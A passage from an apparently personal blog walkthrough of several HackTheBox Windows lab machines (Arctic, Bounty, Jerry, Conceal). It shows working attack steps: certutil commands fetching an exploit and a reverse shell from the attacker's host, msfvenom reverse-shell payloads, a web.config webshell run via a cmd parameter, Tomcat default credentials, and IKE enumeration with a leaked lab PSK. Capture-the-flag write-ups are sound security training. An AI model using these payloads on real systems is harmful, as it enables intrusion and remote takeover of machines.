decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Arctic/MS10-059.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Arctic/MS10-059.exe&lt;/a&gt; .\MS10-059.exe&lt;/p&gt;&#10;&lt;p&gt;Following the tutorial for MS10-059.exe, run:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;MS10-059.exe 10.10.16.3 5555&lt;/p&gt;&#10;&lt;p&gt;nc-lvnp 5555&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That&amp;rsquo;s all it takes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. The first two boxes I&amp;rsquo;ve completed so far were probably meant to get me familiar with the most basic Windows penetration-testing techniques. I expect they will get harder from here.&lt;/p&gt;&#10;&lt;h2 id="3bounty"&gt;&lt;a href="#3bounty" class="header-anchor"&gt;&lt;/a&gt;3.Bounty&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one port open. Opening it showed nothing but an image and a hint that the site was running IIS 7—and it really was IIS 7.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then started fuzzing for directories while also checking the image for steganography and other possible information leaks.&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up in the image afterward.&lt;/p&gt;&#10;&lt;p&gt;The fuzzing uncovered a directory and an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint allowed file uploads, but it seemed to use a whitelist, so many file types could not be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;1355 indicated that the upload had failed. I tried all sorts of bypasses and IIS 7.0 file-parsing vulnerabilities—even ones that were not for 7.0.&lt;/p&gt;&#10;&lt;p&gt;None of them worked. This was genuinely a blind spot for me, so I peeked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that we needed to fuzz the file extensions. I found a wordlist I had put on Kali a month earlier.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Besides the usual extensions, fuzzing revealed that files with the config extension could be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/aspx/web.config" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/aspx/web.config&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found a way to get a shell. Although I had never learned .NET, I could still tell at a glance how to use this file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just access the endpoint and pass the command as ?cmd=dir.&lt;/p&gt;&#10;&lt;p&gt;After uploading it, I visited &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=whoami" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=whoami&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the flag first: &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:%5cusers%5cmerlin%5cDesktop%5cuser.txt" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I then tried to get an interactive shell. I uploaded nc, but it failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Better to keep it simple: upload a backdoor generated with msfvenom and chain the commands together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. I could barely find any of the other reverse-shell methods I had just tried, and the few I did find did not work. Looks like I won&amp;rsquo;t be able to live without msfvenom for reverse shells from now on.&lt;/p&gt;&#10;&lt;p&gt;As usual, I started with systeminfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ms10-059 still worked, so I gave it another shot.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation was just like what I had learned earlier: if a ready-made exploit exists, use it. As for getting a shell, I was not very familiar with ASPX, so I kept trying IIS parsing vulnerabilities, upload bypasses, and a whole string of other tricks. I had gone completely down the wrong path and never found the web.config exploit. Once I learned about it afterward, though, things became much easier. I had only just started working through Windows boxes, and this one was a pretty reasonable difficulty level.&lt;/p&gt;&#10;&lt;h2 id="4jerry"&gt;&lt;a href="#4jerry" class="header-anchor"&gt;&lt;/a&gt;4.Jerry&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The tomcat version is there too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a payload for that version, but it failed. Trying it manually didn&amp;rsquo;t work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s brute-force the manager login.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_53008479/article/details/124865806" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_53008479/article/details/124865806&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;tomcat:s3cret&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The login worked, and I made it into the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw &amp;gt; ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jar cvf ft.war ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visit &lt;a class="link" href="http://10.10.10.95:8080/ft6/ft6.jsp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.95:8080/ft/ft.jsp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell came back as SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;I found the C:\Users\Administrator\Desktop\flags directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both flags are in there. This box is mainly just for getting familiar with the workflow, I guess.&lt;/p&gt;&#10;&lt;h2 id="5conceal"&gt;&lt;a href="#5conceal" class="header-anchor"&gt;&lt;/a&gt;5.Conceal&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box is rated hard. A lot of people consider it somewhere above medium, so let&amp;rsquo;s take a look.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only UDP ports are open. Keeping UDP scans running really is a good habit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://refabr1k.gitbook.io/oscp/info-gathering/snmp" target="_blank" rel="noopener"&#10; &gt;https://refabr1k.gitbook.io/oscp/info-gathering/snmp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page covers a few ways to pentest SNMP, but they are all fairly basic enumeration and information-disclosure techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really doesn&amp;rsquo;t look useful.&lt;/p&gt;&#10;&lt;p&gt;I tried a whole bunch of exploits afterward, but none worked. I did notice something odd, though.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;snmpwalk -c public -v1 10.10.10.116&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;One line contains an IKE VPN password. I had never encountered UDP port 500 before, but I was fairly familiar with IKE. When I was learning, I tried all three ways of getting into an internal network: openvpn, IKE, and FRP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had thrown practically every exploit I could find at it, though I might still have missed something. I even found an MS06-074 exploit for SNMP.&lt;/p&gt;&#10;&lt;p&gt;At this point, IKE was the only attack surface left. It felt like the box was telling me to connect with this password.&lt;/p&gt;&#10;&lt;p&gt;For the isakmp service, I found the following blog post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explains the service thoroughly and gives plenty of exploitation methods.&lt;/p&gt;&#10;&lt;p&gt;Next, I followed its tutorial step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;As you saw in the previous response, there is a field called &lt;strong&gt;AUTH&lt;/strong&gt; whose value is &lt;strong&gt;PSK&lt;/strong&gt;. This means the VPN is configured with a pre-shared key (which is great for penetration testers). &lt;strong&gt;The value on the final line is also very important:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;em&gt;&lt;strong&gt;1 returned handshake; 0 returned notify:&lt;/strong&gt;&lt;/em&gt; This means &lt;strong&gt;the target is configured for IPsec and is willing to negotiate IKE, and one or more of the transforms you proposed are acceptable&lt;/strong&gt; (the valid transform will be shown in the output).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I may not have found the vendor.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;while read line; do (echo &amp;ldquo;Found ID: $line&amp;rdquo; &amp;amp;&amp;amp; ike-scan -M -A -n $line 10.10.10.116) | grep -B14 &amp;ldquo;1 returned handshake&amp;rdquo; | grep &amp;ldquo;Found ID:&amp;rdquo;; done &amp;lt; /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This step searches for the group ID.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t find the group name. Maybe the wordlist wasn&amp;rsquo;t strong enough. The whole time, I kept searching for a way to connect to the IKE VPN, but no blog gave me an answer. The only useful one was the post above. It told me I needed a group ID and PSK. I already had the PSK, but its process was to enter the group name and PSK, then brute-force with username and password wordlists. Only after obtaining the group name, username, password, and PSK could I connect. That was far too much trouble, and it didn&amp;rsquo;t seem realistic—especially when I couldn&amp;rsquo;t even brute-force the group name.&lt;/p&gt;&#10;&lt;p&gt;I looked at the next step in a write-up here and realized I hadn&amp;rsquo;t done anything wrong. Having the PSK was actually enough to connect; I just hadn&amp;rsquo;t found the right tool or method. I didn&amp;rsquo;t look at what tool the write-up used, even though I had just spent ages searching for connection methods and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I could confirm I was on the right track.&lt;/p&gt;&#10;&lt;p&gt;Eventually, I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally found a tutorial after consulting a huge number of blog posts. This configuration file was doing my head in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to the earlier output, I found that its algorithm was 3DES. This blog showed me how 3DES should be configured.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got two important settings from it. Of course, the other settings still had to be worked out one by one.&lt;/p&gt;&#10;&lt;p&gt;Next, I tried connecting. If it worked, I wouldn&amp;rsquo;t need to inspect the remaining settings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed and just kept trying to connect.&lt;/p&gt;&#10;&lt;p&gt;So I went through the settings one at a time. The version might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up the parameter.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Changing it to 1 fixed that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now to test whether it could connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still an error. I continued checking the other parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog documents all the parameters, and I found a crucial detail there. I had never set this option, which was why I couldn&amp;rsquo;t connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;left|rightsubnet lets you select the protocol. The default is TCP/UDP, which prevented me from connecting because its UDP ports were already exposed. That was the logic here: to connect, I had to use TCP only. With that, the configuration was complete and I could finally connect.&lt;/p&gt;&#10;&lt;p&gt;Here is the full process:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;apt-get install strongswan libcharon-extra-plugins&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Edit the following configuration file:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.secrets&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This file holds shared secrets or RSA private keys for authentication.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# RSA private key for this host, authenticating it to any other host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# which knows the public part.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;: PSK &amp;#34;Dudecake1!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.conf&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ipsec.conf - strongSwan IPsec configuration file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# basic configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;config setup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; charondebug=&amp;#34;all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; uniqueids=yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; strictcrlpolicy=no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;conn test&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; authby=secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; auto=add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ike=3des-sha1-modp1024!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esp=3des-sha1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; type=transport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keyexchange=ikev1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; left=10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; right=10.10.10.116&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rightsubnet=10.10.10.116[tcp]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ipsec restart&lt;/p&gt;&#10;&lt;p&gt;ipsec status&lt;/p&gt;&#10;&lt;p&gt;ipsec up test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did it. Of all the blog posts I referenced for this part, the useful ones were roughly these:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only" target="_blank" rel="noopener"&#10; &gt;https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" 